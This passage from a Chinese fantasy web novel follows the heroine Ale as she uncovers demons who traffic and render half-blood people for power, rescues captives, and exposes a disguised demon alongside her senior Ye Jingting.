“大哥,我听说这次有一高级货!”那个声音尖锐的人道。
“哦?多大?”声音粗声粗气的人道。
“年龄不过十岁,听说那‘浮生烬’至纯至精。”声音尖锐的人道。
“那魔尊这次必然会有重赏吧!”这人声音听起来还挺正常。
“上次也有不少好货,魔尊吃得消那么多吗?”声音尖锐的人阴阳怪气道。
“老弟,你才刚来,很多事情你还不懂。不过没关系,跟着我血老大,以后有你吃的。”这名叫血老大的人说罢,从乾坤袋里摸出一个黑漆漆的布袋,看不清里面装的是什么。
打开布袋,一阵撕扯血肉的声音,“呐,老弟这个给你,”,“老鬼这个给你”。
几人不再说话,只听得见一些类似咬碎骨头的声音。
半晌,那个叫老弟、老鬼的才开口道:
“谢谢老大,许久没吃过那么新鲜的混血儿了。”
猜想到他们正在吃的东西,阿乐胃部一阵痉挛,双手使劲捂住嘴巴。闭上眼深呼吸,胃里翻江倒海却怎么也压不下来。
“哇”一声,还是吐了出来。
外面顿时一片安静,阿乐心道“不妙,被发现了。”
祭出“雪落”握在手中。此时,外面天空亮了一道红光,名叫“老弟”那人道:“大哥,是魔尊。”
血老大啐了一口吐沫,道:“算你今天命好。”
说罢三人便跑了出去。
阿乐从角落里爬出来,看到篝火旁的碎渣碎骨,赫然就是一具残肢,隐约还能感受到其中的“浮生烬”。
胃里又一阵翻滚,扶着墙吐了好一会,才缓过来。
看来这些魔族人这次抓了不少混血者,还有那个所谓十岁的“好货”,阿乐甚是好奇。
擦了擦嘴角,足尖点地,循着几人残留的灵力追去。
不到一炷香的时间,阿乐便看到三人背影没入人群。
城门上写着“兰陵城”三个大字,他们既然大白天跑到人族地界?
怕跟丢了,未曾多想,先跟上,
清晨的兰陵城渐渐开始热闹起来,街上炊烟袅袅,已开始有小商贩支起了摊。
鼻腔里飘满了这街上的美食香气,阿乐舔了舔嘴唇,昨晚又是喝酒又是淋雨,肚子哪受得了这个诱惑。
看了看前方三人的背影,并没有停下来的意思,摸了摸肚子哄道:“乖,我们先干完正事。”
再抬头,三人不见了。
28. 岩浆河
阿乐迅速跑到三人消失的地方,环视四周确实不见了。
“明明刚才都还在!奇怪”。在原地绕了一圈,空气中有微弱的灵力残留,阿乐手指快速试了几个诀,还是没有任何反应。
脑子里蹦出鹤师兄发明的那些口诀,试一试吧,说不定有用:“天门开地门开,谁家好门给我开。”
“轰隆隆”一声响,路边墙上显出一扇门,看起来就是一扇平平无奇的木门,阿乐踟躇着走到门口,深吸一口气安慰自己:“龙知乐,你可以的,你是天选混血者,你阿娘是神族灵尊,你阿爹是龙族三公子,你师尊是清灵山叶修一,你师兄是叶敬亭——没事的!冲!”
扭开门锁一股作气冲了进去。
还未看清这是什么地方,一股热气已扑面而来。
“叮叮当当”好似什么铁器在地上摩擦的声音。
此时迎面走来一队黑衣人,身后牵着一根长铁链,每隔几公分便拴着一个人。
阿乐捏诀换了一身黑衣,用黑纱遮住脸,躲在暗处看着这些被绑住的人从前方路过,有几名女子身上若隐若现的鱼鳞,猜测应该是混血者,只是奇怪感受不到她们体内的“浮生烬”。
队伍最末尾单独用一根铁链拴着一名瘦小的男孩子,他低垂着头,满头长发遮住脸面,衣裳褴褛身上青一块紫一块,原本看着就瘦弱,再加上这些伤痕显得更为可怜。
阿乐脑海里闪过在破庙里那三人的对话:“年龄不过十岁,听说那‘浮生烬’至纯至精。”
难道就是这个小男孩?
悄悄尾随着这队人往前走去,半晌终于知道那股热气是从何而来的了。
黑衣人带着这一队人走过一条岩浆河。这些岩浆不断从地底下冒出来一个个火泡,稍微靠近一些身上已开始流汗。
河面上每隔一段距离便有一座桥,桥上挂着很多黑色的大锅,看不出来里面装的是什么。
黑衣人走到桥上后停下了脚步,“叮叮当当”的铁链声也随之停住。有人大着胆子往旁边黑锅看去,不知看到了什么,有的跪在地上磕头连声求饶,有的哭得稀里哗啦,有的站在原地一动不动好似呆了傻了。
黑衣人哪管得这些,从桥边拉起来一个黑锅,把这些人一个一个丢了进去。还有人想要从锅里跑出来,又被按了回去。
黑衣人围着黑锅站成一圈,几人合力做了一个阵法盖住黑锅。
一切准备就绪,催动法术把黑锅降下往岩浆河里送去。
离岩浆越来越近,哭喊声也慢慢消失了。
阿乐站在原地看得目瞪口呆,这——不就是活生生把这些混血者炼化?
放眼望去一个个黑乎乎的大锅铺满一路,这里到底躺了多少混血者的尸骨?
他们就是靠这样的方法炼化“浮生烬”?
阿乐眼眸起了水雾,又被这热气蒸散,手掌慢慢合拢拽成拳头握紧。
那名小男孩独自站在桥上,看着这一切,不哭也不闹。没过一会,来了一名瘦瘦高高的人,阿乐眯着眼睛看去,那不就是“老鬼”。
老鬼跑上桥去,手里拿着一个盒子。与黑衣人耳语了几句,便往每个黑衣人怀里递过去什么,只见黑衣人们欣然收下,把拴着小男孩的铁链往老鬼手里一放便离开了。
老鬼上下打量着小男孩,裂开嘴露出一口黄牙,小眼滴溜溜往四周看了看便拉着铁链往桥另一边走去。
阿乐连忙追上。
一路上又遇到不少黑衣人,还好都蒙着黑纱,暂时没有暴露。
每走一步路,阿乐心里就沉下几分。这里简直就是一个巨大的混血者“炼狱场”。
老鬼看来对这里的地形很熟悉,带着小男孩绕到一个大坑前停住了。
阿乐躲在一块石头后面看向这大坑,身形顿时怔住。
坑底躺着的全是尸骨,幸运一些的还有全尸,大多数都只是残肢断骸,坑底隐隐散发着“浮生烬”的能量。
眼泪沿着眼角滑落,不是都说最怕混血者控制不住体内“浮生烬”发生暴乱?不是都说“浮生烬”稍有不慎便会焚尽千里,毁尸灭魂?
总说混血者控制不住体内的“浮生烬”最为危险,那这些躺在这里的尸骨,那些被关在黑锅里活生生炼化的混血者又怎么样?
体内燃起一股能量,顺着灵脉烧遍全身,阿乐身体滚烫,胸口有一团火好似要窜出来了。大口穿着粗气,脑子里浮现出叶敬亭白衣飘飘负手而站的摸样,嘴巴一张一合在喊着:“阿乐,静心。”
心中默念“清新诀”,那股能量才慢慢消散。
老鬼把铁链栓到一旁,自己跑到坑里东翻西找,找到“浮生烬”能量高的躯体小心用黑布包好放进乾坤袋。
看着老鬼走远了些,乘这个空档,阿乐慢慢挪到小男孩身旁。
男孩看到阿乐的出现,没有一丝慌张,眼眸透过乱糟糟的头发冷冷地看着她,声音冷漠道:“你这是要抢?”
阿乐被问住了,这是已经习惯了这样被卖来卖去才会说出这样的话吧!
她抬手擦了擦眼角,有些哽咽道:“我是来救你的!”
男孩猛然往旁边挪了挪,阿乐看到他手腕处已被铁链磨得血肉模糊,轻声喝住他:“你别动,你手——”
男孩张张嘴,准备喊老鬼,被阿乐一把蒙住,轻声道:“你疯了?我真是来救你的!”
因为过于紧张,男孩被大力蒙住有些呼吸不顺,反咬了阿乐一口,阿乐吃痛道:“你怎么恩将仇报呢?”
男孩睥睨看着阿乐,还是一脸不相信。
阿乐轻叹了口气,用定身咒定住男孩,从衣服上撕下一块布条,小心翼翼系在被铁链绑住的手腕上,这样铁链就不会直接摩擦到皮肤了。
男孩整个过程没有哼过一声,他一直紧紧盯住阿乐,黑黝黝的眼眸看不出有什么别样情绪。
这时老鬼回来了,阿乐解开咒语,只好退回去藏好。
老鬼满意的拍拍乾坤袋,看来是找到了不少“好东西”。
他并未注意到男孩身上有什么变化,扯过铁链拉着男孩往坑底走去。
男孩回头往阿乐藏身的地方瞟了一眼,一言不发跟着踉跄走去。
阿乐随即跟上,约莫半盏茶的时间,老鬼在坑底一偏僻的角落捏诀唤出一扇门,看着消失在门后的二人,阿乐回看这一片“万人坑”若有所思,她有些担心自己若是遭遇什么不测,那这个地方还会有人发现吗?
思及至此,她尝试向叶敬亭发出密信,这才发现两人之间的密印断开了。
什么时候断开的?难道是那晚在藏书阁?被体内的“浮生烬”冲断了?
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那怎么办?
一道灵光闪过,从乾坤袋里掏出一个黑乎乎的瓶子,指尖升起一道灵火,把灵火仔细装进瓶子里,在旁边挖了个洞埋了进去。
眼看那扇门就要消失,阿乐一个箭步闪了进去。
门后阳光耀眼是在树林里。
“叮叮当当”林间回荡着铁链托在地上的声音,远远的还能听到老鬼哼的小调,声音难听得方圆十里鸟兽全跑。
四处看了看,也看不出这是哪儿。
老鬼走了一段路,在一棵平平无奇的大树前站住了,左右看了看没有人,才放心的在树杈上操作一番,眼前出现一道结界口,他抓着小男孩一转身便进去了。
结界又重新恢复原样,看上去就是与旁边草丛并无二般。
阿乐冲上去已然来不及,只好学着老鬼在旁边树杈上摸索一番,半晌还是不得要领,站在大树前干着急。
须臾间,一声闷响,从结界里飞出一人,重重摔在地上。阿乐飞身躲开,定睛一看这趴在地上的人正是破庙里与血老大、老鬼在一起的那人。
看来结界里是发生了什么争执,他这才被打飞出来。
阿乐心道:“真是天助我也,那我就一个一个解决。”祭出“落雪”握在手里便冲了上去。
那人见到阿乐先是一愣,而后嘴角上扬,看上去倒是没有一丝害怕,阿乐提剑剑锋刺去,又生生在半空中顿住,“这人——这人身上怎么有那么浓烈的‘浮生烬’?”,仅仅一眨眼,“浮生烬”又消失了。
这次轮到阿乐愣神,刚才分明明显感受到。
“既然敢偷我血老大的东西,活得不耐烦了。”这时血老大的声音从背后传来,阿乐连忙转身,目前看来这人不一定是“敌人”。
这时,三人面面相觑,血老大眼神在两人之间来回,而后一脸怒气道:“看来你早有预谋,还有帮手与你里应外合,我对你那么好,你居然打我的主意!”
“好什么好,你们私自贩卖混血者,还好意思说?”那人回道。
阿乐想起先前种种,牙齿咬的直痒痒,提起“雪落”便向血老大刺去。
“神族?你既然勾结神族!”血老大一脸不可思议,挥舞着手里的鞭子,两人几个回合下来,阿乐明显压了一头,看来在清灵山修为真是提升不少。
阿乐一剑朝着血老大胸口刺去,却被他硬生生挪了一寸。
须臾间,一道红光闪过,血老大人首分离,血溅了阿乐一身。
“啊——”阿乐往后退了几步,后背被那人稳稳扶住,声音从头顶传来:“谢谢你救了我,我叫邴哲!”
他声音清朗,话里话外都带着笑意,阿乐直起身道:“你不是与他们——”
邴哲摇摇头,嘴角带笑道:“我是来救阿姐的。”
阿乐想起刚才觉察到的那一丝一晃而过的“浮生烬”,心想看来都是混血者。
“那你在破庙的时候——还吃混血者”阿乐疑惑道。
“我发誓我没吃。”邴哲举起右手,三根手指并在一起道。
“噗嗤”阿乐看着他认真的样子,轻笑出声,暂且放下心来。指了指结界道:“这个你知道怎么进去吗?”
邴哲点点头,伸手在旁边树杈上操作一番,结界打开了。
两人相视一眼便走了进去。
29. 该信谁? “云雾村很安全”
结界后是一个峭壁,上面有序排着三个洞,中间的洞稍大一些,旁边两个小一些。
阿乐极目看去,那个小男孩就在左边那个小洞里。
邴哲四处查看后道:“老鬼应该是出去找吃的了。”
“我们快上去救他们。”阿乐道,也不知道这老鬼什么时候会回来。
这洞也不算太高,两人轻点足尖便飞身而上。
男孩看到两人出现依然没有太多惊喜的表情,似乎这一切都与他无关。倒是他身后的那些人看到阿乐都蜂拥过来求救。
当邴哲出现时,大家又都怯生生往后退去。
阿乐道:“别怕,他也是来救大家的。”
那些人往里缩了缩,又躲进了阴影里,看来还是不相信邴哲。
邴哲也不多说什么,双手捏诀,破了封印住洞口的牢阵,大家看着洞外的自由,还有些不敢相信,直到有人率先冲了出去。
大家才一窝蜂跟着出去了。
仅剩小男孩还坐在洞里,闭着眼睛靠在墙边不为所动。
“喂!你怎么不走?”阿乐趴在洞口道。
“走了又怎么样,还不是会被抓回来。”小男孩闭着眼轻轻道。
阿乐心里一紧,听着声音如此稚嫩,说出来的话却像个经历过世间沧桑的老人。
“你先出来,我定会护你安全。”阿乐坚定的说道。
闻言,男孩睁开眼盯着阿乐,并没有说话。
阿乐被盯得有些不自在,清了清嗓子道:“你相信我。”
“我们今天是第一次见面吧?”男孩反问道。
阿乐一时语塞,她自己也觉得要是换做她,定不会相信一个第一次见面的人说这些莫名其妙的话。
这时,背后警觉有危险袭来,祭出“雪落”向背后挡去。
紧接着“叮叮”两声过后,阿乐转过身,老鬼已经回来了,身后跟着几个长相奇形怪状的人。
刚刚跑出去的人被他们又圈起,邴哲正挡在他们之间。
“没想到,你这个叛徒,当初就看你贼眉鼠眼没安什么好心。”老鬼朝邴哲啐了一口吐沫。
阿乐飞身至邴哲身旁,剑指老鬼。
“你又是谁,怎么那么多爱管闲事的人!”老鬼朝阿乐喊道。
“你少废话!你又要把这些混血者抓到哪里去?”阿乐不甘示弱。
老鬼上下打量着阿乐,突然瞥见她身上的血迹,目光向他们身后扫视了一圈,大声道:“血老大!血老大——”
阿乐捂起耳朵,这声音也能算做他武器吧,怎么会那么难听。
“别喊了,血老大已经被我杀了。”邴哲面带微笑,惹得老鬼一阵鬼哭狼嚎。
“兄弟们,上!杀了这对狗男女替血老大报仇!”老鬼气血上头,满脸狰狞,举着刀就往这边砍来。
邴哲轻巧避过老鬼砍来的刀,与其他人缠斗在一起。
阿乐举起“雪落”硬挡了一刀,没想到老鬼力气奇大,虎口震的酥麻。
不给阿乐喘息的机会,老鬼接着一刀又劈下,阿乐踉跄了一下,又硬接了一刀,腾不出手捏诀,只能眼睁睁看着刀锋没入了肩膀。
“嘶——”阿乐疼得倒吸一口凉气,邴哲听到动静,抽出身前来相助,老鬼腹部结实挨了一拳,飞出数米。
血迹从嘴角流出,用难听至极的声音道:“你小子,藏那么深,到底要干嘛?”
邴哲还是一副笑脸道:“要死的人没必要知道那么多。”
说罢一道红光闪过,老鬼头颅滚到了一边。
其余人看到此情此景,愣了愣,也顾不得那些混血者,纷纷往结界外逃去。
阿乐哪能放过他们,手中捏诀,白光所过之处,接连倒下。
那些被绑住的混血者看着这一地尸骸,一时间没有反应过来,待阿乐靠近他们时,还呆呆站在原地。
“别怕,我带你们出去。”阿乐温声细语安慰着大家。
一挥手,铁链解开落在地上溅起灰尘。
混血者们看着落地的铁链,忽然全都往下一跪哀求道:“上神,你带我们走吧!我们再回去还是会被抓走的。”
“对啊,我这是第三次被抓了!”一个年轻的女孩喊道。
这句话如同泄洪的道闸,纷纷开始诉苦。
“我们平时也都老实本份不使用任何灵力,体内‘浮生烬’保持得都很平稳,我们什么都没有做啊!”
“对啊!我们什么都没做,他们还是要抓我们!”
“他们抓我们是为了去炼丹!”
“是!妖魔族的魔尊用我们去炼妖丹,说吃了增长灵力!”
“带我们走吧!”
顿时哀嚎声一片。可是能带他们去哪里呢?
阿乐看着这些人面露难色,一时之间不知道该说什么。自己现在都不知道要去哪里呢!离开清灵山两日了,也不知道回去会不会挨罚。
或者根本没有人发现自己离开了,唉——
“你们可以去云雾村,听说那里生活很多修为很高的混血者,很安全。”邴哲道。
“这位公子,当真有这个地方吗?我怎么从来没听说过?”一位年轻女子道。
“当然有啊,你从这里出去一直往东走,看到一条长河,沿着河边再往东北方向走三里地差不多就能看到。”邴哲耐心回道。
这个地方阿乐也是第一次听说,不过她本来去过的地方就不多。
其他人听闻纷纷叩首表示感谢,邴哲贴心的送大家出结界。
阿乐看着他们离去的背影,想着总算有个归处,心里终于松了一口气,还好救出了一些人。抬眸往山洞看去,小男孩还是坐在原地不动。
阿乐飞身上去趴在洞口道:“你不一起去吗?”
男孩不说话,盯着她肩膀看了一会道:“还在流血”
这时,阿乐才察觉肩膀传来一阵痛感,瞥了一眼,半个手臂已被染红。
把手掌覆在伤口上,亮起淡淡白光,半晌,声音轻松道:“好了。”
阿乐伸出手,继续道:“走吧—”
小男孩犹豫一阵才低声道:“没有云雾村。”
阿乐回头看了一眼邴哲还没有回来,继续道:“可是他刚还救了大家。云雾村的位置描述很准确很具体,不像骗人的样子。”
男孩眼皮往上翻了翻,阿乐确定这是个白眼,听到背后有些动静,应该是邴哲回来了。
“姑娘,你要去哪里?”邴哲喊道。
阿乐只好先下去,拍掉手上的灰尘,这时小男孩也从山洞里跳了下来。
回首看了一眼身后的男孩,才道:“回兰陵城还有些事。”
“哦,好巧,我刚好顺路也要去那边,我们一起走吧。”邴哲还是一副笑脸,眼睛弯弯好似两道月牙,看不出来他在想什么。
“呃——你不是要去找你阿姐吗?”阿乐疑惑道。
“嗯,她不在这里!我还要再找找。”邴哲淡然回道。
“你不担心她有危险吗?”阿乐追问。
“没有消息,那便是最好的消息。”邴哲的回答毫无破绽。
阿乐点点头,心里却又想起刚才的那记白眼。
回头问小男孩道:“那你要去哪里?”
男孩手指了指阿乐道:“去兰陵城。”阿乐看到他手腕上还系着那条白布,又问道:“你叫什么?”
男孩顿了顿道:“白小布。”
阿乐一副“你看我像傻子吗?”的表情看着他,无奈叹口气。
三人并肩走着,没有一个人说话。
天色渐晚,四周又找不到村寨客栈,三人一顿商量只
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好先找一处大树下稍作歇息。
邴哲捡了些柴火点起篝火,又在树林里打了些野味,三人围坐在篝火旁。
看着炊烟袅袅,邴哲把野味洗干净劈成肉块用几根干净树枝串上。
三人有一搭没一搭聊着,邴哲道:“姑娘怎么称呼?”
“阿乐。”阿乐回答得干脆。
“阿乐姑娘,那天在破庙里的人是你吧?”
阿乐没想到自己原来早就暴露了,只好点点头。
“你是我第一个见过那么有正义感的神族。”邴哲眼角带笑,阿乐有些不好意思挠挠头。
“彼此彼此。”
邴哲嘴角上扬露出牙齿,眯着眼对阿乐笑了笑。
篝火噼里啪啦作响,肉串冒出了香气。
阿乐拿起一串凑近看了看,肉块被火烤的滋滋直往外冒油,看上去很美味。顺手递给了白小布:“呐,吃一口。”
白小布也不客气,接过后便狼吞虎咽,大概是饿了很多天。阿乐心道:“这样看就是个小孩子嘛!”
邴哲拿起一串烤好的肉串递给阿乐:“阿乐姑娘,你也尝尝我的手艺!”
阿乐接过,咬了一口,果然肉质鲜美,这才想起自己已经一天没吃东西了。
“阿乐姑娘,你要去兰陵城干嘛?”邴哲笑眯眯问道。
“呃——与一个朋友约好了。”阿乐胡编了个理由,这样就表明自己不是一个人,并且与人约好了,自己若是不出现就会有人来找。
邴哲笑了笑,道:“柴火怕不够今晚用,我再去找一些。”
“对了,晚上我睡树下,你们睡上边!这样比较安全。”说罢,转身没入树林。
白小布看着邴哲走远的背影,往阿乐身旁挪了挪压低声音道:“别信他。”
阿乐点点头道:“你晚上睡在我旁边。”
闻言,白小布微微怔住,声音断断续续:“不——不合适吧!男——男女——”
还未说完被阿乐打断:“想说男女授受不亲是吧!你个小屁孩懂得还挺多!”
说罢转身跳上树杈,又指了指旁边离自己很近的一棵树干道:“你在这休息,有事喊我。”
夜色中,白小布点点头。
这一夜,阿乐睡得特别香甜,再睁开眼,天边太阳已高高升起。
一晚上未换过姿势,腰间传来一阵酸楚,打了个哈欠,道:“白小布,早啊!”
风吹过树叶“沙沙”作响,半晌没有人回答。
阿乐心中一惊,往旁边树枝看去,那里空无一人。
再往树下看去,篝火已灭,只有一摊黑色碳火,也是空无一人。
阿乐此时清醒无比,难道邴哲真的对白小布下手了?可是他也是一个混血者啊!想起昨日那些被救的混血者说的话“炼丹”“可以增长灵力”。
听上去很不可思议,但现在也不得不信。
邴哲难道是妖魔族?
阿乐一阵惊慌,祭出“雪落”就要飞身找去。
“阿乐姑娘——”邴哲的声音从前方传来。
阿乐回过头,看到邴哲手里拿着一个食盒走来,白小布跟在身后,怀里里捧着几个白馒头。
“阿乐姑娘,你起来了?昨晚睡得可还好?”邴哲笑盈盈道。
“你们——去哪里找到的这些?”阿乐把“雪落”藏在身后,假装无事发生。
“发现树林里有一家猎户,便与他讨了些白粥、馒头,不知道你可吃得惯。”邴哲看上去还是一副笑脸,阿乐心中嘀咕:“难道是自己多虑了?”
白小布今天看上去与邴哲亲近许多。
“小布,你昨晚睡得还好吗?”阿乐试探道。
白小布没说话,点点头,把怀里的馒头递给她。
虽还是有些奇怪,却又一时说不上来。
30. 白小布
几片青菜叶飘在粥上,阿乐端起喝了一口,瞟了一眼与邴哲挨在一起的白小布。
“不对劲,绝对不对劲”。阿乐想起昨晚还在与自己说着“不要相信他”的白小布,现在算怎么回事?
又咬了一口馒头,心中嘀咕:“这馒头还挺好吃!”又摇了摇头:“不是,这个是重点吗?”
这时,邴哲走了过来,看着阿乐一个人又是皱眉,又是摇头,“阿乐姑娘,你怎么了?”
“啊—那个,我们几时能到兰陵城?”阿乐道。
邴哲抬头观察了下天空:“今天晴朗,风不大,御剑约莫不用一个时辰就能到了。”
阿乐点点头。
正如邴哲所言,不到一个时辰三人便到了城门口。
“阿乐姑娘,兰陵城到了。”邴哲一双月牙眼总是带着笑意。
阿乐抬眸瞟了一眼站在一旁不语的白小布,拍了拍他道:“小布,你要去哪?”
白小布摆了摆手,清了下喉咙才道:“去找个安全的地方。”
“那你呢?”
那股奇怪的感觉还是萦绕在阿乐心中,她想要再找机会确认一下。
“相遇亦是缘分,不如我们一起去喝一杯吧!”阿乐提议。
一丝不安在邴哲眼中一闪而过,很快恢复笑脸:“好!那一起去喝一杯!”
白小布有些局促的挠挠头,阿乐道:“没事,不喝酒也行,就当散伙饭!”
他这才点点头。
“我知道一家小酒馆,酒很好喝,入口甘甜清爽—”
“阿乐姑娘若是喜欢,待我找到阿姐,也带一些给你尝尝,她酿的梅子酒也特别好喝。”
“好!”
兰陵城依旧人来人往,热闹非凡。
阿乐凭借记忆带着两人在大街上穿梭,三人各怀心思。
一面写着“酒”字字样的旗子映入眼帘,与阿乐记忆中的酒馆重合在一起。
门口店小二忙着招呼来往客人,一眼便看到了阿乐,便急急跑来:“姑娘啊!那天我才一转身你就走了,看你喝得醉醺醺的,有一个——”
话还没说完,便被阿乐打断:“小二,今日带我朋友们来喝酒,你快拿上几壶秋露白,还有招牌菜!”
阿乐拉过店小二,对其眨眨眼。
店小二瞬间会意,话锋一转:“几位二楼请,好酒好肉管够。”
待三人坐定,酒菜很快便抬了上来。
店小二帮三人斟满酒朝阿乐眨了下眼也就退下了。
阿乐看着这个眨眼懵了一下,这什么意思?
邴哲举起酒杯道:“敬自由!”
阿乐收回思绪举起酒杯碰了一下,白小布从酒菜端上来一直在吃,看来确实是饿很久了。
邴哲又敬了阿乐两杯。
阿乐本来也不是海量,这样喝下去那自己得先倒下,那得误了正事。
“小布,你打算去哪里?”阿乐试探性闻到。
白小布仿佛未听到,还是自顾自在吃。
半晌,邴哲拍了一下他,“小布,阿乐姑娘跟你说话呢!”
这才擦擦嘴道:“什么事?”
“你后面打算去哪里?”阿乐又问了一遍。
“呃——”白小布一时答不上来,侧首看了一眼邴哲。
“去云雾村吗?”问出这句话,阿乐心已提到嗓子眼,全身绷紧,手在桌子下随时准备祭出“雪落”。
气氛一时紧张起来。
“阿哟,肚子好痛!我要去茅厕!”白小布捂着肚子喊着痛,一溜烟便往外跑去。
阿乐起身想要跟去,邴哲道:“阿乐姑娘,你跟去不方便啊!”
“可是——”阿乐还未说完,手腕被邴哲牢牢抓住,“阿乐姑娘,这孩子兴许就是饿太久,这一下吃那么多闹肚子了,无碍,无碍!”
阿乐心中越想疑虑越多,一挥手把邴哲挡开:“我还是不放心,你先坐,我去看看——”
忽然感觉腰上一沉,整个人被邴哲抱起,两人在空中转了一圈才落地。
阿乐这才反应过来此时自己正坐在邴哲大腿上。
错愕道:“你——你干嘛?”
邴哲还是笑盈盈看着自己不说话,便一顿挣扎想要起来。
一个想起身,一个不放手,这画面要是不认识的人看见怕还以为是哪家小情侣在打情骂俏。
正在两人拉扯之间,“咯吱——”此时门开了,门外是店小二。
店小二看到此情此景,微微一愣便转头道:“公子——可能——”
只见白影晃过,一道挺拔的身影便停在眼前。
阿乐抬眸看向眼前人,以为是自己错觉,闭上眼又睁开一次,确实是那张冷冰冰的脸。
心中又惊又喜,一张口却变成疑问:“敬亭师兄,你怎么会在这里?”
“玩闹够了没有?”叶敬亭还是一脸平静,阿乐却感觉到周身开始结冰,呼出的气都快被冻结。
从邴哲身上一跃而起,像做错事的小孩支支吾吾:“我——他——那天——”
叶敬亭视线在阿乐身上扫视一圈,目光定在她肩膀上,眉头轻皱了一下。
阿乐急忙解释:“没事,就是挨了一刀,已经好了!”说着使劲拍了拍肩膀,表示真的已经没事了
“挨了一刀?”叶敬亭声音听上去极为不妙。
轻佻眉尾,不知何时“寒冰”已握在手上,看着邴哲毫不客气道:“你?”
邴哲淡定自若,满脸笑意望向叶敬亭道:“我跟阿乐是朋友,你误会了。”
说罢把手自然搭在阿乐肩上,往怀里靠了靠。
阿乐立马挣扎开,狠狠锤了他一下,以示他们之间的清白。
却没察觉叶敬亭眼神开始结冰。
一股怒气在屋里荡开,阿乐被瞬间弹走。只看到一道白光极快闪过,接着一声闷响,邴哲被一掌打到墙上,又顺着墙面跌落在地。
邴哲擦掉嘴角的血迹,眼神好似变了一个人。
不再是笑眼盈盈,满眼煞气看着叶敬亭。
还未待阿乐看清楚,一连串黑影便砸向叶敬亭,叶敬亭一一躲过,“寒冰”一挑,又把黑影逼向墙角。
这时,“咯吱”一声,门又开了,这次不是店小二。
是白小布,眼神快速扫过屋里,最终眼神定在白敬亭脸上。
“白小布!”这次可不能再让他溜了,阿乐一把拉过白小布,才发现原来他力气这般大。
既然完全拉不动。
白小布眼神在白敬亭与邴哲之间来回转动,最后转身决定先溜。
阿乐这次哪能轻易放过他,飞身便追了出去。
“你知道那男孩是谁吗?你放心你小师妹?”邴哲笑嘻嘻看着叶敬亭道。
叶敬亭手中捏诀点了一下邴哲,下了一道定身咒。
转身便也追了出去。
“白小布,站住!你跑什么?我又不抓你!”阿乐边跑边喊。
“不抓我,那你追我干嘛?”白小布边回边跑。
“你站住听我说!”阿乐奋力一跳抓到他后脖颈,两人终于停下了。
“
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放手,疼疼疼!”白小布哼唧道。
“那你答应我,我放手绝对不跑!”阿乐气喘道,这小子没看出来浑身是劲,跑得还挺快。
白小布点点头,阿乐这才松了手。
“我问你,你到底去不去云雾村?”阿乐还是不死心,追问道。
闻言,白小布无奈道:“怎么又是这个问题?云雾村到底是哪里啊?你为什么一定要我去?”
此话一出,阿乐手中闪过一道寒光,“雪落”划过他胸口,“噗——”白小布仿佛一只泄了气的皮球,瞬间瘫软在地。
阿乐伸手要去捞,一股浊气扑面而来,赶忙捂住口鼻,向后退去。
待浊气散尽后,地上只剩下一副皮囊。
阿乐用剑挑起来左右细看,真的是妖魔族的把戏。
那真的白小布又去了哪里?
岩浆河?万尸坑?心中闪过不好的预感。
可是自己已经暴露了,不知道原路返回还能去到吗?
对了!走之前在那埋了灵火!随即手中捏诀,掌心冒出一簇灵火。
捧着灵火原地转了一圈,确定了方位后,祭出“雪落”便要起身。
却不料,刚飞升不到半米便被一股大力扯回。
阿乐一惊,回眸便看到叶敬亭已经冻僵的脸。
“师兄,来不及解释了,我回来再跟你细细详说!”阿乐起身又要追去。
“站住。”叶敬亭语气中带有一丝命令,又掺杂了更多的担心。
阿乐身形怔了一下,这是在担心自己吗?可是白小布那边若不赶快去,不知道会不会被扔进那大锅里炼了。
看着阿乐欲言又止,万分焦急的摸样,叶敬亭轻叹一口气,语气柔了许多:“过来。”
阿乐靠近了几分,叶敬亭手掌覆盖在肩上,传来一阵痛感,这才注意道伤口既又裂开。
一阵暖流顺着手掌流入体内,半晌,伤口才完全愈合。
“手给我。”阿乐看着叶敬亭举起的手掌微微冒着红光,感觉这个场景有几分熟悉,是要结密印吗?
“密印?”阿乐举起手问道。
叶敬亭点点头。两只手掌紧紧贴在一起爆发出耀眼的红光,阿乐被刺得睁不开眼,只听到低沉的声音在耳边道:“龙知乐。”
下意识脱口而出:“叶敬亭。”
红光消失,阿乐才睁开眼,手掌上传来不属于自己的温度,“咚咚咚咚”心跳一阵乱蹦。
想要抽回手,反而被握得更紧。
抬眸又撞上叶敬亭眼眸,不对劲,不对劲,他眼里居然有流光闪烁。
“咚咚咚咚咚咚”心脏犹如住着后山那只仙鹿,干脆在心口乱撞起来。
不好,快要跳出来了。
阿乐用手捂住胸口往里压了压这才缓过劲。
“怎么了?”声音从头顶传来,充满担心。
“没事没事——这个——刚才这个是什么密印?”阿乐找了个理由。
“以你我之名,结下此印,除非生死,绝不断开。”叶敬亭一本正经解释。
脸上的红晕烧得更红了。这到底又是谁教他的啊?
叶敬亭祭出“寒冰”,手中捏诀,跳上剑柄,伸手拉过阿乐站在自己身前,一只手扶着她肩膀,一只手扣在她腰间,道:“去哪里?”
阿乐低头看了看扣在腰间的大手,又回眸看着叶敬亭:“师兄,要不我还是站在你身后吧!”
叶敬亭嘴角微不可察的勾起,手往前环住她的腰,声音低沉一本正经道:“要去之地危险,这样最为安全。”
31. 魔尊
跟随着灵火的指引,两人就以这样的姿势保持了一路。
“师兄——”阿乐侧首轻唤道。
“嗯?”声音从头顶上方传来。
“快到了!先下去吧!”阿乐指了指灵火,火焰一直对着两人所在的下方跳动。
“嗯。”
忽然,“寒冰”从空中快速下降,“啊——”阿乐紧张叫了一声,感到腰间的手收紧了几分,须臾,平稳落地了。
这才发现自己正紧靠在叶敬亭怀里,手牢牢抓着他的手臂。
阿乐松开手从“寒冰”上慌忙跳下。
“我刚才太害怕了,所以才——才——”,双手无措得不知道该摆在哪里好。
叶敬亭看上去一脸平静,看着阿乐无措的样子浅笑。
不远处传来吵闹声,一把把阿乐揽入怀中转身往路旁树丛中躲去。
阿乐整个人窝在叶敬亭怀里想要挣扎站起,收到叶敬亭发来密信:“有人”便只好作罢。
半晌,铁链在地上摩擦的声音便传来。
“听说左使昨夜抓来一个男孩,那‘浮生烬’至纯至精。”
“嘿嘿——若是魔尊开心了,会大发善心给我们也尝一口吗?”
“这批货那么好,肯定会的。”
“嘿嘿嘿——”
待声音走远,两人从草丛中走出。
“他们说的那个男孩定肯定就是白小布。”阿乐语气坚定道。
“那个泄气的皮囊?”叶敬亭问道。
跟着那两妖魔族的人,阿乐在密信中把这两天的所见所闻都告诉了叶敬亭。
叶敬亭安静听完,眉间皱起若有所思。
眼看着那队人消失在一道门背后,两人赶忙跟上。
门后自是另一番风景。
两人按照妖魔族的风格乔装打扮一番,一身黑衣遮脸倒也可以以假乱真。
